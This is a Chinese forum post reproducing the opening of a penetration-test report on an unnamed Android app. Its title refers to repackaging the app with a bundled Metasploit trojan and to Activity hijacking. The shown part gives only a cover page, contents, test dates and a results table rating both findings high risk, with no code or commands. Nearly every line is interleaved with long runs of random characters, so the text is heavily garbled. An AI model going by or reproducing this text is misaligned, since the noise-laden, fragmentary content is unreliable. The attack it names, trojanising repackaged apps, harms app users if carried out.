找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4722|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
5 n5 q4 U! F* D6 @ 5 S- y+ t) p: S4 l$ H

2 n+ h: Y, h! A5 [9 F0 B8 v 9 }) z& K" i+ Q, I
4 q- o3 ]0 x2 W2 C) ~0 ?: r7 x# g' A e; g( t8 H3 x1 l

( |# m" X& G' `9 z2 P% K" r. G 0 x7 N7 P$ }8 X! R& }" L
- u. B j/ b" P% i" q0 z6 ~/ U5 Q + | O, K" h6 T5 G9 g3 N. v

& E% D, q- f. }- p' `0 D ) M+ c I$ {3 T* e2 J7 e8 o- Z 文档编号:                $ m( N) x' k% i' @7 E3 p- e5 w, N + z0 T& U1 e/ l7 |. F

! @- Z5 [ ?# S; X$ A7 v) T, l% _4 e9 e. q, k. C

' M$ a2 `5 e5 Y: c / g/ C: o! Q+ \) f' N( s1 E+ J   9 ]- J& C) ~5 q w" m 3 x' @' A. M' a- D# }( j- Z

0 O; V$ |' ^8 {+ i3 w & x3 a# n8 x7 |/ Y z

2 i9 k) ]( [5 p7 B. O4 s. t. a+ G% u8 a0 ?# [   ; t* n6 D: z5 q/ Y1 Z) { 5 H* e7 |% W& ]/ O) r. E

# q% S' W7 N9 z8 D( c; I1 _ 7 |5 X G/ O+ Z/ L* ?: [# u

3 Q; D, k% b& X+ \ : k6 O/ H6 v9 R F: t/ j   * F1 V0 [; x. q" j% _ 6 P+ i& Z" F+ ]4 l

. h* n }6 C* \; g / D* B, u p3 u8 m, B* T

q& n- {2 c5 ]9 S: v ) n/ [9 V! \2 S8 P   % V4 f& P! a- l1 W( S/ @* V - x5 k3 v( ^4 o8 p

+ w# Z# {& }# R/ {5 p5 I; }: D . R, j& a; C9 y! Q/ Q

3 a) d# Z, E0 j/ Z1 ?$ L; F P9 z: \3 G; M, D2 V) m, X& F   5 Z# A2 f% U. w( e7 j# Y ; B I) m1 H2 x) I

: R1 _1 |. z1 } ) F: g/ @1 g c0 F J4 v# L

) e) ]- ?' {/ t7 {3 {! Z# e# p9 P0 B# h0 V 某某某APP渗透测试 $ ]7 [+ b1 ~6 J8 A ( J e, t( q" w* d! `

2 \0 t* @. G! T% i. t0 Y + W4 Q5 z% f9 U* E

! `( E/ l; w* i" C$ @* y, Z 4 M, W% e0 |1 S8 R& P# u8 W$ s/ W   & Q& Y' K2 }1 C7 `$ D$ X: J9 l- _) R7 o4 }5 t# i5 m

+ q# F2 `! ]0 U% q# B ( q1 G l. m' }+ a; F2 j% q" f7 ]. w2 Z

. S" g, w; Z+ u4 L7 |6 A # ?+ r0 b3 W+ k+ C8 D6 O; o4 T   : z. U9 J1 h# ]# P0 n c7 I% e6 i5 F

" _9 p: R6 g3 o8 I ( K. G5 {0 @9 y

1 `4 h8 Y4 ]; [ . P+ {: O+ B9 b% Z   " U' ?+ Q+ V8 k% L4 n . W. t6 F' a( ?2 L

8 c& ?) a0 W4 @6 t0 B, O4 y- E - P; \- Z9 n0 A! L- L0 ]

; y, Q% M, `4 R# A 0 s' Z4 a% }0 f) C- |   0 ~2 e# h4 D8 |2 e8 @8 l% W7 l5 S4 T& _

5 x4 h0 a1 L6 u ! o( L: Y t' |& D& ^# k5 O

2 c# |0 c+ A! c) z % m3 {7 |9 P' {; C2 W1 o 技 术 报 告 : M! y2 A E3 f w3 i/ v ; }) T0 ?# S1 V) s# p) t

4 L m% Y. t. {+ L8 ~# E7 F: n4 i; Y: v ' d9 p. O1 q# Y. s2 e: @. v

- L) b( c* p" x 6 J- M; G% W: a" r   5 Y$ K# i) i# ]' [ . F3 z% a: M, C3 V7 R

$ G, u) B( f( S* d3 d, C 8 J! t: Z- g S8 ~$ k* `- K

# F( h( }1 `4 Q# E7 v& z* N $ \; q$ ]& a f4 U2 p! H' F   , W f8 m" i, k8 W* D4 O# a/ [; k. |# G9 I7 m6 `

5 v1 ^) s. O/ G- E, d, @4 j' M 6 b- V, M: X; i/ v( {/ e

% ~' u7 Y, Y- b# z& m 4 }0 U& }. `+ Z+ K) c0 h% U   8 S9 r0 x7 v# o: b& K9 E$ D6 `+ k6 q+ p4 Q/ v6 V) K

/ y n; \( a6 s+ J0 o' A4 P. z 8 B/ z6 I) `) V* Q

# S5 [- k: ]2 d6 N $ F# G M/ U* W+ U* j   7 ?4 `4 q* }: y, z: t/ y" v/ H 2 f0 o2 B, Y# T. G/ O

. R2 N+ k& j6 o$ M" P 4 l. m0 b5 L3 w1 P7 q3 }( W

; g5 R' v2 H# S& h1 Z: S 6 L! f0 j* T! O2 n8 I8 o9 {   ( [3 N% \' Y2 J 5 |) |: p& ?8 A( P- a

3 g1 ~$ z: {2 Q7 X+ S! P9 v' g ' V8 U2 z5 Z# q8 j# F3 @* u7 W3 r

3 S: I3 a2 L0 R& v1 Y * P* V- q/ w1 l* q2 P- m   6 a5 ^6 r6 ?. J9 b" k; u ! _- q0 B9 d J0 \

- `7 R7 [. K" Y0 X. G- f 2 `: m4 E8 z' e: \/ P

' v9 @; z6 q& s: u% V: y% `3 F3 t # h9 D, c5 b$ w$ q4 {# X   " h/ x" V, v$ }+ q7 n, T/ X- E & ]' ~4 l5 b" L f \7 a

6 k6 C; h* u% E: C" X+ |/ u; y5 n2 K; B' `

0 p& i' r' h [0 W / ]! v0 @6 g+ x& R& x   ) m; {; B e, y 6 K0 j6 J& J1 ^0 P

! b g( Z; ~0 p( @) G, b8 \/ @0 y6 G0 a" u6 ?9 I( S0 C

2 b3 ~8 O- d! X* b# e# ^, o2 Z' ~ $ V4 N, t& i. W( |2 d" z   ) M( }! e% n' | M4 X- E" l 0 [4 Y4 t- ^; w9 ^4 i

( h8 Q- C9 ~( u R F9 i: a 1 G: ]" B" y8 b9 _

3 K. K. U, ?8 w) |% U3 m$ ^ , O! g& T& m/ N X3 o$ P" d   ) t) G' h# l( M# [- g& V; j 9 D. _' d' L" [% s+ ?

6 R: S+ ~8 h# p4 q9 E+ a& { & j& c% O( h7 [

$ p4 y. n0 P/ ~+ G1 D+ k8 W/ E9 U% Q $ E2 w3 |' O- O0 ^   3 g) I* _1 V; X! e ' b* o+ y2 R; X* d5 D, P

/ L4 U/ p* n% h* Q K( q: g: G3 ^% Z2 R) B3 H+ N- F

* [) g/ M% H+ [* B( V! e+ R ( l8 I7 u: a' A! M2 S8 z   5 ? n& }9 u) P1 m( |2 _0 T. d0 x7 g . p* X2 V. d0 Q3 I% r/ ^; R

9 ~0 h1 R: [( O* g) ? 6 _7 }2 R+ w# g% `# ]4 k

$ M. I6 k% ?' _' {' S* G* u' U% Z 5 }* ~! n! k7 x2 [% q" b; G   # { v+ E1 A8 V/ [: g8 o9 [ ( [) G- x! {( @* c5 D

6 U( V7 j J2 ?* Q9 _, X# j6 r5 @ ` K B) g, W4 u+ o9 Z% q7 |

6 b$ i1 `2 v6 u8 O9 x/ m6 {# D+ k& v / E: p- @! [( ^9 t% T   * U( `1 j0 F7 ]* ^$ w! D, [7 _ ) s4 B7 S' x9 R: m6 C

o% ?% f8 D5 d( d' t0 N J 5 s$ B- k! [7 g

[- W( r+ i& l, ^+ F7 @' Z& ^9 W2 ?3 B7 T" b   3 E7 I. Z. D( y( v* R. y& ]8 v e) w

' L) v$ C5 P" x4 o8 _! P& a# w1 G

1 a; a( s ^ R4 X. T8 J " |0 s1 R3 E. {$ C9 o: M   ( l1 k$ Y* f, M) H8 k9 w+ t' v1 F6 A

1 s2 Y1 j: T+ c1 m6 V n# y( l, U3 b: u- x q

1 j$ @2 e5 l1 q4 W: {! f9 ^2 s! ^! d7 k# y6 ?% Q# B   & q3 D0 I" {2 E& e" n' p 6 a/ q4 k3 R; k7 q2 _

4 F5 F& B/ _) S8 L8 f" P / f0 C2 @- E# _' m9 X

8 b9 w( ?1 f* {0 N8 S K + w% a6 K' c: F# m* L S" S5 e L   ' {6 L, Y, F8 Y" q, g- p( v1 X ) O, H& d- i9 R4 e6 g* o. N9 M

* W& o- F" m1 s. Q" J$ E0 @ % _4 d& B& X K# J$ E9 u

8 c8 v2 @ w3 P4 d' q$ R" m ; w! y) g) h4 C k' x 二〇二〇年 - k, g6 a r* ]4 \: p6 [ p, t+ q$ z5 Q: @. h

3 h+ K+ _( i5 H ) }7 x/ g. s0 r* F! _3 I
6 ~/ W1 U- T) n) Q# _, \* c' n f ; b! T" P6 e T/ f: J: e1 Q
" C7 A2 J: U8 g , ?3 R7 X1 D! A w
( Q7 o# m; ~7 {* Y ; k7 z' n, z# V* C. Q* x6 q0 Q
* j6 F0 b. S/ @ U$ i # s. r4 U3 u9 ?9 [2 V0 [
3 @1 ^1 \. J7 O! @' X & w3 z7 R$ }0 ]( {" C
- @$ {: j8 i3 ~9 }3 @7 q: r: e# a0 x: t0 e% f
3 ?0 D9 j' F/ W: c, y" ^" c' k5 Q $ e1 b& ~$ _8 } _
4 a7 e: v; {6 q1 j - R1 H# j# S$ P, L3 s* t

! S( O( {+ B- O# Q$ Z2 k f5 Z5 \ 目 录 % ?$ Y) g( J5 x3 ]. p: K $ F) m/ t- H7 o/ V

. l( d, {& E8 b0 @0 _4 M0 b 8 {' `7 X* R8 |9 H0 u3 M ' U& h% v* D7 M" i, }0 R9 A, U9 e2 N' Q; d8 b

|+ @8 \' N1 {1 ]' w' s( o1 L, v% N0 [3 z- E- V I   $ z6 G; |2 ~9 I0 }' I$ W1 i# l; F5 H+ a+ z

0 Q+ c# z. Y% a) v# x 1 g! Z- A# |' F

( E- K' H4 N7 ~8 e; y/ [: D- G / s& n' r+ l% p5 ?" [ 1 概述... 3 8 j( }3 c# w; l8 T7 B 1 J$ o% M- z8 d5 t% S) G) r" Q( H

% `* R8 H$ b- x" n$ @- I+ e " B# E6 f( b$ D) e. }5 N

! J8 z' H' n* q7 o7 C+ N- P 9 K' T3 K k6 w, E 1.2测试时间... 3 % Q9 W" q6 z! F 1 x% a& k) W$ a; f8 ~- N ~

9 c* m' q$ C! r7 C. o 9 S" P! M) u1 X

3 H' c) V: S6 q& ] 4 j6 U! Q* e3 e$ G 1.3测试对象... 3 ; T2 b$ ^. E3 C9 }) _8 M: ]; h7 R& I/ P3 n6 O J B* A

; \- W% y6 Q; l% l 6 D" X1 s& u) X3 O4 N6 n

' w; `8 w, ]2 Y P; L% t+ B+ x 0 _- A& G+ j1 l( \+ D3 D0 _! I 1.4测试结果... 3 9 S: I/ J" \) Y. q* z+ g ) O' I: [5 o) S7 Y; ?

- |/ t0 g6 L) P+ g- D, V3 C# `4 L3 q% R" @

8 y3 y p I* j7 a& p ) u! G; P! x8 l) t) I0 V9 n- g) a 2 检测结果... 4 + h9 d6 H) _4 Q. e & ^' u- j# e/ p/ p' h

! S2 I7 k8 k& X5 M+ i5 g N' H. O( X2 |6 l* w+ \

* V* {; z u% `. S$ m' |" o! d- \) r# F5 @$ O 2.1 某某某... 4 ) y+ C0 y2 h& k+ G: N7 q ' r" M k, x; D- E5 u3 D3 r, a+ p

6 ~9 R j @# b . g9 ]# ], S$ y' w9 a, l n) U' I

; Z2 k9 v( F' \- x 5 ?# E+ E0 B+ ]9 k& u 2.1.1检测目标... 4 - W! ~. |0 B/ e, f: ~ : U; U1 F6 C; }) t

`$ g( j4 a% r) i, ~ 9 m! B- h1 e7 _& l% v% e

0 C5 b8 l: | V) m! i 0 |. g2 O4 R1 r) p. N 2.1.2检测结果... 4 / E- V# N. ^+ u. [1 W, a; y5 g; l$ ~. M! v% [9 y1 E

& K, j! E% K( A1 m2 {8 P( T& o; X1 A + I1 ~0 |; n+ E* F, d7 P

$ c/ R- I, D, P: ?; I) H# Q' r2 b- U" F 2.1.2.1. 4 8 F. `. V% H+ R 9 G0 ~2 e6 m5 H* A

; c0 [) Y5 `% d 0 f3 V9 A6 G" x& D4 D' D. k5 Q

" z b# \1 |' q) I! B1 m3 J, ~% S0 ]+ s# l4 J0 u 2.1.2.2. 6 d$ }2 [2 L; _ & l8 c" M3 }9 Z/ X( V

2 b3 e; h0 _5 K6 q, g! g+ {/ K # E) ~. U; v/ O* T1 q4 ^$ `6 s0 q

% @8 }3 m6 q) C0 \7 J/ p 6 R/ e+ U! u. b " a- ~6 K) C6 Q1 X+ K; X" u - [$ e0 D: E( g' a9 ]& r& s

6 B8 ^% U4 O% X' i9 _ & D! W# @( z) ~4 Z: C8 Z
5 ~9 P5 f1 ?% T5 T6 `8 }; A! Y3 F; T1 i2 D% R6 }2 {
9 ~0 y b) G, l5 L/ K ! o \% `2 X/ ^2 W5 \
. l7 H4 s; d+ F & K7 q% z( ?3 O! e9 K
) I3 g, z' e* _) `' ` : j* B$ o, ]( [! O9 c8 B

* a7 a" k6 s; a# X3 |) Y. e! o, P6 f S, d# F: L% t6 B" D" ^+ Y) M 1 概述 ; a4 p* v& b* w4 ?& S y0 U& N3 e6 T$ Q

, S* `/ e5 F: f" d$ N * l) Z' G: P. h

2 y- G; ?6 l- [( {& P& a9 Y4 F 7 r0 O4 u; p9 P1 m& r1 w7 Q: F 1.2测试时间 % Y" ~* P" D2 f r 5 X m! ?6 m+ f% x! t) y

r2 G3 b9 j0 D7 m8 v + n$ K @) ^- ?+ s; p$ p2 u/ ] / |" U# U/ B" l& T' Z' J% T" M, L( K2 h g p+ j2 c9 F% z v% m, X! V7 G4 L }1 @3 [( f' H' o M s3 S: T b$ q5 f0 j% P& d. e: G$ Z8 x4 c4 R2 `$ V' L& G3 A8 e; _2 `- e. E& ?7 |6 E% `- f+ C$ |0 Y3 w. I2 h" x. P$ b# r/ R2 C* u# f- |" }4 c( v6 I+ }6 U, x ~$ N w! c6 |; J7 y. @* W9 q* ]) `% }1 V& S5 s: S2 ]$ S# T3 Y: H" G9 L: [3 ]+ _% J) @* ~+ D8 T! X+ v$ I, b' D* Y/ T! s. K) s: U* r# K0 Z) N: U- [3 X3 n+ G3 B% U& f6 V8 O% M# c: U. y6 _* t: E4 _# F1 f9 l" s' g& g! Q; O+ z! S% C4 V G( C* o7 f% }. t- }$ O" J7 X1 X Y& {/ @' k' L# `* ^; i; v a7 I7 ~- }2 [$ o9 g+ w8 \ O6 I) o0 C9 X' l! f5 j1 n4 \2 O5 {; I% \9 D2 x P! W: d8 j, Q$ p% a1 f8 t
, D/ X5 M6 J7 b8 C ( v, Z8 a8 c5 w3 f5 @& [' t3 q

: g) n! y+ k. a! t W i# L4 ?- J( u 渗透测试时间 3 e( z$ ?1 R, |% o3 L 2 p' h6 Z1 f& r. n6 H9 `- d8 [5 U

0 D" Z" C% L( W9 A& n0 ^* `. j% o3 F
; v. g, b8 }. u3 W5 y2 L$ M9 J+ ] 8 g, i! r7 o0 i6 t

3 d5 q+ p& [' e8 D2 q! y " S" v9 ~/ ]4 ]/ u 起始时间 & m @) i+ z+ ` b0 ~9 Z$ M' I , B& n# e, P5 S) f" O$ X

5 S) T0 [8 v* @5 Y5 F7 M: E. N 7 N* U: g7 m8 K! t% A* o" i& c
# {( P$ W2 b8 _( ~ * }; W- Y/ E4 [- q6 @

, d% v1 m# X) h% G+ f # |' R8 W* R5 u( r9 j 2020年4月6日 . Y6 K" E/ |6 P, T9 `/ {1 [ 2 [* e3 @6 d! T

0 k5 Z* j: c! j- n. r. L/ d- L. j5 E3 ?6 v
6 z l; j6 U3 ~# D! M. E: n% r% P5 S7 R1 y+ c7 y( h1 w2 c* v

$ O5 Y) p c. o; b) ~& S$ \' c$ u; E" O0 K$ G% b( x# |( e* B 结束时间 x* ~7 T' k6 }7 b & m* p0 [& I- T% C U Y: _4 t

+ h w% ?# ?3 H# ?# E) ~! t* Z: [ N8 N
7 B' g. E2 I$ S ) o. e6 h) ^+ \# R

7 N" F9 T' p5 L . I7 V- ^/ L9 k }3 f0 e( U 2020年4月9日 / O0 v- o% s: a, d 8 f3 X3 |1 G- ^: v8 h$ Q) W7 \- \

* i% v8 U9 w1 `3 o% k1 a" x: R; g- p
! [% k$ A) B$ ^# h' @+ Y3 ~$ l+ \% R$ P) |0 h1 B

, s' X4 R& d) ?9 O/ z# a! G Q X. W2 ?; c( _* z% m7 M9 ` 1.3测试对象 : ~3 i' j, }' d, T! O; @: g7 J7 W/ Q) c3 l9 P% ~

' B* M; x! G) ?2 w- ]) D8 ^ / i. d# W8 `$ c7 d! f, b( I7 l1 G/ P

( G- R, R! Y# ]2 Z+ O' v1 ]" j: E 4 _) F$ I- H# J( t 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ' `) `; E( y) X. {) w1 ~ * f6 `( M0 g/ K) w# S& y: ^8 h* p

& P; O) M6 ?$ e; S# W- \ ) t9 @7 L" P+ e9 x/ Q

/ Q" a# D2 d0 ~ 4 P2 B) d. A" w9 I# o 表1-1 检测对象 " P ?2 n( ~' ]5 Y2 a 1 ?9 u) z$ q. P+ }: W4 ?

/ q8 l1 G4 v( J# z- c8 m" p- A+ x7 y! J2 d0 K, g6 {" c5 g + L; I" T Z' R* G' q7 \( s" i/ ^0 }+ j5 c0 e1 a1 N/ b; e) f/ a. _) K# [; ?3 K, ^ c$ J: K! k$ f8 y( i8 @. m6 F2 G, F% s3 c$ b7 {" b3 s: n* v0 B: g7 L; G1 r* g& Z4 y7 a8 z5 V. h4 u3 N' u$ Z$ t3 O# f. {' F) H6 t5 ^% M0 s0 ^/ P# z, ~ M' h& ]7 |' J) G* U# u( V# t$ r: K2 O- \6 Z' h0 _. J$ I" P D3 x( w1 @" r5 \5 O6 [& m$ l L0 {3 @3 e# {, W! v* u6 ?* a/ j, A+ O q$ G6 c+ T7 ]6 o4 |8 r3 ^7 a/ a4 ?1 Y3 _" O" r! J% d* l0 r q4 d& O" o! q5 G# L2 H( G7 B' V) |4 l. C6 z; p; [2 G' G# b' R# r, Y! O8 P9 \7 H' A, q+ r5 I7 E: M/ q, @* R7 X1 V, x2 O( ^7 S9 s- l" x B* ^% z8 l2 M u' {( \( X. o- } o/ W0 G! V9 I$ M$ E7 i! C# E$ L4 c/ D6 ?' R+ W: E! {8 r$ ?
& |+ G# V( d4 Z5 t4 c, M3 P 4 O4 f5 ~- i# k; y. W

( @% q! N2 @0 o, R# ]6 F- y3 x8 l9 W, w ? 序号 0 l, x' A& E) ]- X! j% b3 h 5 C @4 m. [. [6 W* O; x8 v, y

5 j* a# `" k+ v 9 [' p1 [+ ?7 U* J9 {
; L; A. m- ]2 \$ O7 V9 f; n- v, ^6 h {5 T5 N9 j

- E9 t1 i9 V, O# D 5 K, c: A2 r- l" ?2 F* `2 n 测试对象 3 @, v3 a5 @6 x& z 5 U* T0 a0 `1 d4 p: [% z

: x1 e' i5 r- q) R ! A; [$ v; N6 a& o n
0 V3 W* q# C' ^2 z 8 K" U, _, }6 K( ]- b' ~6 t

# t. Q& v* F- B3 B $ b0 g# O1 U; h. ^! G1 P 测试地址 6 G, q( D, G) n* ?6 W% j' I$ F: B6 B+ ]" m, W& L+ H" R1 K' k. Q6 x

5 O1 l+ Q& R1 J6 I/ g- o- x0 i9 I' f) W5 u
0 H+ Q1 v7 g1 O 0 X) U, u" Z& T" N7 Z$ C

, ~( k9 [+ @3 a. h) O7 ` ) j- d6 L8 u# l3 w; _2 ^3 D% j; U; R 安全漏洞 3 t, H! `0 F$ H3 q5 p- A ( T( z% f8 }4 J/ J3 N6 R

5 Y& P8 k) S1 _ . `! b5 t( _ d, s. N2 a8 d
! ]# C5 p5 L8 M* |/ _; i : o6 G0 r/ }2 _& R: e( A3 g" E6 i7 X

. n, u6 M# Y, @9 _0 \$ w |3 d C5 {& c- }( }# L 1 / N( f9 H* r4 t7 _/ M8 `. ]/ c! O$ P, Y; Y8 c; S9 S; b

+ o; E3 F u: y/ l2 L1 W7 H ' h5 |+ P. R2 y) D
2 h7 ?: I9 s# z9 K7 p$ G+ x% _0 v& g0 z, \' m; ^; b

" H c) S, e" m4 ?1 V- \- @ # b) O5 n5 Y! B: R6 B, ~ 某某某安卓APP 8 P1 l _) B- A/ r; E& R1 F; E% X6 f0 y0 ?% r8 W

. |' z# c; W+ R/ z5 ]: Q4 k - x, S& r F6 I/ e
; f5 a2 n3 g- U8 V2 F h! K7 v4 G! S; n2 V

3 q& z5 g6 M; L! | $ }& f i, {, W4 F0 _2 `   3 |4 x: o% n: J( k ]- \! N' d U7 A+ q

! J5 i5 `7 x" ?( J; m7 b. n# m+ l$ x* W
* \8 `( n0 ^2 u" D2 n2 a 2 x" C6 v: x; E& P% f7 [4 O! y

: W* e$ v7 ^2 U. E6 V - N) K; @# P; B9 L' @( ~ 2 9 F; j& ?( D, a $ p/ o6 \" p8 H

% t! v# d# @! j$ e/ Z ( b1 @3 Q7 o" N L, z
$ I4 {5 D5 z8 b6 O8 ]7 P6 F: {# ~! W; e

; C, s& {$ E# Y/ k/ w * }* o. S X4 V7 }% B" q 1.4测试结果 7 c( F& w, G! n+ T. X! \ ( h) A% o! z7 u2 ~$ H, _2 p

3 V1 X; A" U a1 R2 G& ^ " d' t# H2 r; `( G- B1 ]

" Q8 W ^: \/ u; l) s& r8 V : `+ h- n: b1 B5 L 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: $ ]( X3 J& x( |: E / `) H! y7 {* Y G9 }$ F2 e/ k! h

% l! I; f" p5 h$ p4 E1 F( N B+ e0 p

0 ]! C( I5 O: U9 D; s 3 |$ h4 n; Q( r. [5 A6 P   5 Q6 A# Y$ _$ v" k4 Z ! T- \0 z; R6 ?9 R

+ T6 M! D7 A' y. b4 U' b& b) n( V : B# N' @2 y4 w
+ O4 j4 m0 d, e( t 8 d* ?- _* }+ Y/ T/ G . A0 P8 C! w6 V" z6 m, b6 G( c0 v. e( G3 @8 @2 k) ]" W6 z, y L& F8 Q A0 z/ a0 i: Y6 { a* w+ a# k) w4 Z+ F5 l* m1 z) v! ]" n4 c/ h) s9 V- y) G' Z* v) N8 X- S" t I5 F8 W( I, ~2 V; Y" E! S9 A. l( _; n+ Q( m" i( v) B& B- F4 Y3 u5 t( V) K8 s3 F% d8 _0 ]3 H$ B% \7 l( a. W- M, p9 ?. E1 h6 a# L7 S; H/ O- |, G) ]- `5 [ [; F& ]$ W& D: S) }8 b$ r8 u- R; ^0 j* x$ j% j& ^5 X0 [6 N* K$ O2 e; T# R- s6 L9 N, ~& D) @+ e! f5 ^! H* d+ [ o7 n5 a% h1 ?1 q# j/ @5 o8 R0 H* A* b3 l/ S# q1 S+ G: f( t$ l/ }! q t' r' v3 R; }$ j/ X5 j2 j7 Z! U" U% W7 l7 X$ Y6 v; Y2 y" z) ~3 I9 D* W) p' @! R6 o- d3 F5 Q4 Y4 C# ]) ]) f# N8 b- o7 c1 ]; s m) Q5 K" S. G9 ~' i2 p9 m5 P' G- N6 z: B& F6 A+ d. d0 U: ]$ }" M/ g- J4 [! N3 k. ?' _, r- H0 Z+ p; m4 ]# P* [- `( I: \! H) x6 k# G7 ], {9 ^% A: ~1 L( y2 v; _1 [, y) U' D1 R3 L$ l/ J* o0 l8 ]& g2 ?& z, c* X4 {2 X }; `! }4 g3 \" e/ e4 [6 [/ T& i+ N1 V4 h# [% X+ a5 t4 i1 k- A% E% J1 q# P; M1 C2 V- @+ B; V- Z' |" X0 @, T, _+ m9 l) c! d' n% m' G6 `! m0 w; \5 o, _% {. g! M) z( B7 k. ?3 v4 X/ W7 s6 Y+ q* Z4 r3 ~- \( e! n- `7 g; {. x: u0 n9 X; i2 r# w; \7 C1 t( P5 U: g, s. b* a# w) q% B! ?# k- n; } B, u5 k( b$ n4 q/ ^5 a( n5 Y! h
2 ^7 d S6 p( T: E$ a 6 _2 S D6 O3 v" R c$ N" n r

- ]; M$ P" b5 g* m/ T; a 4 M8 \3 E0 Q! a6 ^) O; z5 y3 N, |# j 序号 4 u% p% J, k' E# j9 s7 a1 l4 e % } H' P, H/ Z

) T9 q- ]- Y6 S' D1 I5 J2 ^+ o: ?3 ^0 `7 I
+ }/ J- n8 C* R * d; c. \& t5 g: E& \4 H+ D6 z

; e7 f# T: B. @0 t; I- [, J# x . k( d' q+ J: h$ j: ~ 系统名称 * ~( v! h( R1 p. v* d0 ^; o; e b5 o$ t1 v/ I4 @8 j9 \

% Y- W+ ` Z+ I$ M8 {! B5 ?9 `3 t# R
& B" a& x* B# v7 d; G7 P( w& x- i- a, {

3 Z8 ]- Y+ C" x! q* s8 a 8 v1 r% N3 j8 i- g 漏洞名称 8 G2 W: O* K7 S) }/ k, m" |" d+ e% `3 Y

# e8 X# ?0 [0 m% C( B( P" \ % e: r* c" F. F0 A% S6 r
' B6 g' P! f4 _) x M7 g$ u % y, x( y8 C# B! O# e

9 r; A! i, ?1 k 4 e+ \2 M0 c& r; B* R D; g 漏洞危害 3 F7 C2 H$ h# K( R2 n6 m3 l. c ! _& D5 L, `0 c+ }& G% `4 C. o* E

9 P7 N5 h' N$ G u7 f! h7 r) L ; v7 T5 K$ J, ^4 x' _# [3 Q/ e
+ W* Z* g1 [0 F& o+ G8 M3 ]. Y: h W 6 J( ?. l. g; I0 r9 v9 v

3 J6 e3 F7 @) w [4 S1 l 6 F: ^* c! ]" O0 T r! @ 修复结果 ' M' g& R5 b1 V1 w& {; p' E3 R6 r" i

' Y$ ~3 c* F2 ?) p( ~5 X ( }: d5 q9 f. b) z
! ?; P2 N5 M4 j 9 g! A! O, p0 R5 Z. z: W

2 X8 z0 i& s; a' @ 5 ?6 p5 R$ c$ t# F5 X 1 # w, ~. f4 |1 x; }# d 2 b, g* S @1 P% A! N

7 E' t2 R; k0 X 1 c# N) c6 b- g/ M! X2 ~5 s
8 `* N% l5 y: K7 g2 G y0 _( G" W& J6 W% q# U4 [& U& r

9 ]1 B& j1 Q" o; a% W4 Y 6 N: T0 K: m0 m. E: L 某某某某某某APP 3 Z9 Q/ A0 Y$ F 6 U8 J' { D; s. w- ~

4 [; U- k1 q, r: D# r; Z0 j" Y
& A: B3 m5 D* E5 h 2 }! D$ U4 g. p5 n9 j6 a p: [) ]

5 b* `9 \$ @' q% i2 L& E8 n1 k 1 R) r/ _! ]+ w! O1 X Activity 劫持 " X/ ?9 ?) B. f+ f2 F4 A6 s \ % a2 k0 o4 N- s: v; S

' ^9 _7 Y9 `# u+ x; Q1 J. A. a6 g. E2 s, K

! v5 T8 V Q5 n, W( ?' Q9 D ) U8 k/ i; g, I% m x) K2 a& ^   / B$ [ a. ?8 B+ S0 ~1 D0 t' M . s. l0 I: y9 ^

7 v8 @4 m" t9 t% v/ X& {7 K 4 ~4 @3 K5 ^2 }" _; B
5 G+ o+ f8 t* q5 P. _ 3 d4 r# [0 t* e% G" O! U/ r' e7 Y

# f: Y+ [5 b [6 ?- @, H 7 J- k) I( _$ C! [! \1 N6 C 高 s R1 V5 K/ j d$ E " u; ]& o$ q7 Z3 Z: L5 K- W+ f

% N- ~; S7 Z) G( b5 ?* O# _ 4 ~# t# n+ T8 ?/ o" q4 R$ G6 c
" ]7 B* g# G% v1 Z7 A) y& L5 M1 C* `+ Y: V6 C }7 f

2 q% K. u" D. w+ F$ M , c$ g% o2 W$ Q x2 `3 [   9 I( N: {4 k: f: |+ @2 M5 Y: i) A0 }: b9 S9 |$ _

; A; d( h$ v' h 8 @$ j: h! D6 O; n: a
' ]# |2 q4 k1 H& g6 ?2 c# z: }* @( q0 g/ t k

; M, N# E$ W/ u1 U0 } 6 d$ N4 p" `" Z5 e7 I) Y: a8 q 2 0 P% e- g4 C6 O5 E + U/ l) ]6 k: V- u$ e- N' i$ R5 ~

; Y1 c. g8 f/ l& ?* y' f3 x . l/ ^ v7 `# H7 Q9 X
$ \- o, G8 h3 R- o+ v ( M0 r, v6 X" s6 Z

( P% _' K; P+ I- h 8 x3 T* ^9 f; d 某某某某某某APP 1 W. ^! G+ i# J1 ^% U% I b7 w/ q' ~, U* _

. E2 g9 y2 a) K% e) { * m1 q9 o' _; }/ g) B5 G
9 p; K7 @1 g2 K% O) Q & R2 r; b l) W: f0 \

/ g, a5 I$ U1 d) @( H' h7 w * \& m; V& |& w/ @) i' K" u 反编译二次打包捆绑木马、篡改APP代码 , U# t5 I0 p, a) X $ C) W+ ^3 N/ V% u& g6 w

! K. g# l: j B8 n& s& ]! a. ~% n/ s, a
* Y! P `7 N0 R9 ~4 f - T8 j. |1 X/ B1 M! L

. Z6 G5 p8 C: Y" U0 E6 T4 x% n( \/ A1 U" z5 ] 高 . ^; I& N& V. p5 j- \2 b. d: E 2 P# ~* x- m# T/ H* u

* L* O; ~5 G* O% Z# J 0 d2 ^, M8 l& ~" {5 n
: T0 f# J4 c: h + w$ Q$ [ o/ v- A( G4 [

; V2 Y, J0 u/ f1 a" M1 h 8 O. t4 C3 d O7 B   + b$ @7 F, m$ h* Y0 r( D5 B8 K3 d9 H

e* p( }; \& S& A r 1 t' p" a1 W5 |3 ^) |% s
2 V `3 X& E% Z4 [ - R+ ], R# S1 |4 f4 }! K8 c$ B
; V H' n, H- \8 t, a) C ; W: G% j' H$ n) Q; ^

( U2 b) g7 N- D- P0 _( T3 y. R% Z) z: K0 s% D* |* P! d   5 \3 \) n4 F- {5 S, O3 b7 p0 |) t# D$ I9 f7 A

* t& U$ h. @, l; H( G& r/ @ c5 ^5 i. ~* O' f V, Z

2 k1 a. I% p# n& Y " Z2 A- b7 j; J9 W7 ^/ k0 @ 表1-2 测试结果 % h& e, ]" ^( ~9 N( a; V * o- L- r# I% j+ r c9 T

0 u4 K6 ^0 ~, t2 [ # z0 P5 H G) u, V5 i9 {

& O! Y' M; V: t9 o: n5 Z, X * z: k# K" a' r! B: M. M   6 o; \: K9 \$ X5 _- p 4 r# L: K9 c% K( E4 C5 F: J$ K& @

